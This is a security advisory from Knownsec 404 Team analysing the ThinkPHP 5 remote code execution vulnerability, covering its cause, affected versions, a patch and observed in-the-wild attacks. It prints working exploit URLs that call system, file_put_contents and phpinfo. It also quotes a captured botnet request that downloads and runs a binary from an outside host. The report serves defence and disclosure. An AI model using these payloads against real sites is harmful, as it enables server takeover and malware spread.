Author: Knownsec 404 Team
Date: December 19, 2018
Chinese Version: https://paper.seebug.org/770/

0x00 Background

On December 10, 2018, ThinkPHP officially released the Security Update of ThinkPHP 5. Version*, which fixed a remote code execution vulnerability. Because the ThinkPHP framework does not adequately detect the controller name, the attacker could implement remote code execution.

The Vulnerability Intelligence Team --Knownsec 404 Team, started the vulnerability emergency at the first time and made a deep analysis. After a series of tests and source code analysis, the final version affected by the vulnerability is determined as follows:

  • ThinkPHP 5.0.5-5.0.22
  • ThinkPHP 5.1.0-5.1.30

Having actively checked the relevant defense logs, it’s found out that the vulnerability was firstly discovered in September 2018. It has been used to attack many virtual currency and financial websites when it was still in the stage of 0day.

Within a week after the disclosure of the vulnerability, the honeypot project of Knownsec 404 Team has also captured several cases of exploiting the vulnerability to attack. It can be seen that the vulnerability was integrated into the malicious sample by botnet within just 8 days after its exposure, and could be spread in the Internet through the worm way.

Due to the simple way of triggering the vulnerability and its great harm, after studying the principles of vulnerability, we sorted out this attack and finally released the report.

0x01 Vulnerability Analysis

1.1 Cause of Vulnerability

The reason for this vulnerability is that the underlying layer of the ThinkPHP5 framework does not strictly filter the controller name, which allows an attacker to call sensitive functions inside the ThinkPHP framework through the URL, thus leading to the getshell vulnerability. This paper takes ThinkPHP5.0.22 for example.

You can see from the manual that tp5 supports multiple route definitions:

https://www.kancloud.cn/manual/thinkphp5/118037

There are two points to notice here: one is route definition 4, where tp5 can route the requests to specified (and must be public) methods of specified classes; the other is that even if no route is defined, tp5 will parse and schedule the URL according to mode 1.

Then we take a look at the implementation of the specific code:

thinkphp/library/think/App.php

Since no routes are defined in the configuration file, the schedule is resolved by default as in mode 1. If forced routing mode is enabled, an error is thrown directly.

thinkphp/library/think/Route.php

You can see that when tp5 parses the URL, it just splits the URL by the delimiter and does not perform security detection. We continue to follow it:

thinkphp/library/think/App.php

Pay attention to using an existing module during the attack, otherwise it will throw an exception and cannot continue to run.

Here, the controller name is obtained directly from the previous parsing result without any security checks.

Instantiate the controller class here, and we follow it up:

thinkphp/library/think/Loader.php

Get the corresponding class based on the name passed in, and return an instantiated object of the class directly if it exists.

Follow the getModuleAndClass method:

You can see that if there is a \ in the controller name, it will return directly.

Going back to the module method of thinkphp/library/think/App.php, under normal circumstances, you should get the instantiated object of the corresponding controller class, but we now get an instantiated object of \think\App. Then call arbitrary public method through URL, and parse the extra parameters in the URL, and pass it as the parameters of the method.

1.2 Affected Version

When testing with partners, it was unexpectedly found that the 5.0.5 version using the existing payload does not take effect and will report an error that does not exist in the controller. After following the code, I found some minor problems. Here is the controller method of thinkphp/library/think/Loader.php of ThinkPHP 5.0.5:

Take ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id for example, we set the controller name to \think\app, and strpos returns 0. Due to the weak type of php, we cannot enter the judgment of 407 lines, resulting in invalid payload. Here you can remove the first \ to make the payload take effect, and the payload is as follows:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

Continue to check the relevant code of ThinkPHP5.0.0-5.0.4, and found that the 5.0.0-5.0.4 version does not have special handling for the case of \ in the controller name, the payload cannot take effect.

The following is the relevant code for thinkphp/library/think/Loader.php of thinkphp 5.0.4:

It can be seen that without special processing, it will be unified into the parseClass for unified processing.

It filtered /., and would eventually splice the namespace of the controller class in front, resulting in the invalid payload. Therefore, it is finally determined that the affected version of ThinkPHP 5.0 is 5.0.5-5.0.22.

1.3 Vulnerability Defense

  1. Upgrade to the latest version of Thinkphp: 5.0.23, 5.0.31.

  2. Good development habits: use the forced routing mode, but it is not recommended to enable this mode directly on the online environment.

  3. Add the patch directly: add the following code in thinkphp/library/think/App.php line 554 in thinkphp 5.0, thinkphp/library/think/route/dispatch/Url.php line 63 in thinkphp 5.1.

   if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
       throw new HttpException(404, 'controller not exists:' . $controller);
   }

0x02 Analysis of the Actual Attack

Our Knownsec 404 Team captured the vulnerability's payload as early as September 3, 2018 through “Knownsec Cloud Waf(Cloud Web Application Firewall)”, and then we conducted detailed monitoring and follow-up on the attack situation of this vulnerability:

2.1 0day in the Wild

Before the official release of the update, a total of 62 exploit requests were detected in the logs of our company. The following is an analysis of some of the attacks.

On September 3, 2018, ip 58.49.. (Wuhan, Hubei) launched an attack on a website using the following payload:

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php phpinfo();?>

This is a payload that is widely used later on, which verifies the existence of the vulnerability by writing the php code to the file via calling file_put_contents.

On October 16, 2018, this ip attacked another website. The payload used in this attack is as follows:

/?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

This payload is targeting at Thinkphp 5.1.x and calls phpinfo directly, thus simplifying the vulnerability verification process. It is worth mentioning that the ip is the only one in the logs that launches an attack on a different date.

On October 6, 2018, IP 172.111..(Austria) launched attacks on various virtual currency websites. Payload called file_put_contents to write files to verify the existence of vulnerabilities as well:

/index.php/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=readme.txt&vars%5B1%5D%5B%5D=1

On December 9, 2018, ip 45.32.. (United States) launched an attack on multiple investment and financial websites. The payloads called phpinfo for vulnerability verification as well:

/?s=admin/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

2.2 After the exposure of 0day

After the official release of the security update, Knownsec 404 Team successfully reproduced the vulnerability and updated the WAF protection strategy. At the same time, the number of attacks has soared and vulnerabilities have been widely exploited. Within eight days of the official security update (2018/12/09 - 2018/12/17), a total of 5,570 IPs launched 2,566,78 attacks on 486,962 websites.

At the same time, our internal honeypot project began to detect the vulnerability three days after the disclosure of the vulnerability (December 13), and probed in the following directories:

/TP/public/index.php 
/TP/index.php 
/thinkphp/html/public/index.php  
/thinkphp/public/index.php 
/html/public/index.php 
/public/index.php 
/index.php 
/TP/html/public/index.php

The detection splicing parameters for use are as follows:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP 

On December 18th, there have been botnets that integrated the vulnerability exp into malicious samples and spread them on the Internet. The captured attack traffic is:

GET /index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars1=wget%20http://cnc.arm7plz.xyz/bins/set.x86%20-O%20/tmp/.eSeAlg;%20chmod%20777%20/tmp/.eSeAlg;%20/tmp/.eSeAlg%20thinkphp HTTP/1.1

After a brief analysis, the sample was spread by means of CVE-2017-17215, CNVD-2014-01260, and ThinkPHP5 remote code execution vulnerabilities.

0x03 Conclusion

This vulnerability is another typical exploits of 0day vulnerability after the ECShop code execution vulnerability. From the exploratory attack when the vulnerability was just discovered, to the targeted attack of virtual currency, investment and financial websites, and finally to the large-scale batch attack after the vulnerability was exposed, which became the tool of the black industry and botnets, it shows us a complete life cycle of 0day vulnerability. Since ThinkPHP is a development framework with a large number of cms and private websites developed on it, the impact of this vulnerability may be more profound than what we have seen.

About Knownsec & 404 Team

Beijing Knownsec Information Technology Co., Ltd. was established by a group of high-profile international security experts. It has over a hundred frontier security talents nationwide as the core security research team to provide long-term internationally advanced network security solutions for the government and enterprises.

Knownsec's specialties include network attack and defense integrated technologies and product R&D under new situations. It provides visualization solutions that meet the world-class security technology standards and enhances the security monitoring, alarm and defense abilities of customer networks with its industry-leading capabilities in cloud computing and big data processing. The company's technical strength is strongly recognized by the State Ministry of Public Security, the Central Government Procurement Center, the Ministry of Industry and Information Technology (MIIT), China National Vulnerability Database of Information Security (CNNVD), the Central Bank, the Hong Kong Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.

404 Team, the core security team of Knownsec, is dedicated to the research of security vulnerability and offensive and defensive technology in the fields of Web, IoT, industrial control, blockchain, etc. 404 team has submitted vulnerability research to many well-known vendors such as Microsoft, Apple, Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the industry.

The most well-known sharing of Knownsec 404 Team includes: KCon Hacking Conference, Seebug Vulnerability Database and ZoomEye Cyberspace Search Engine.


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/979/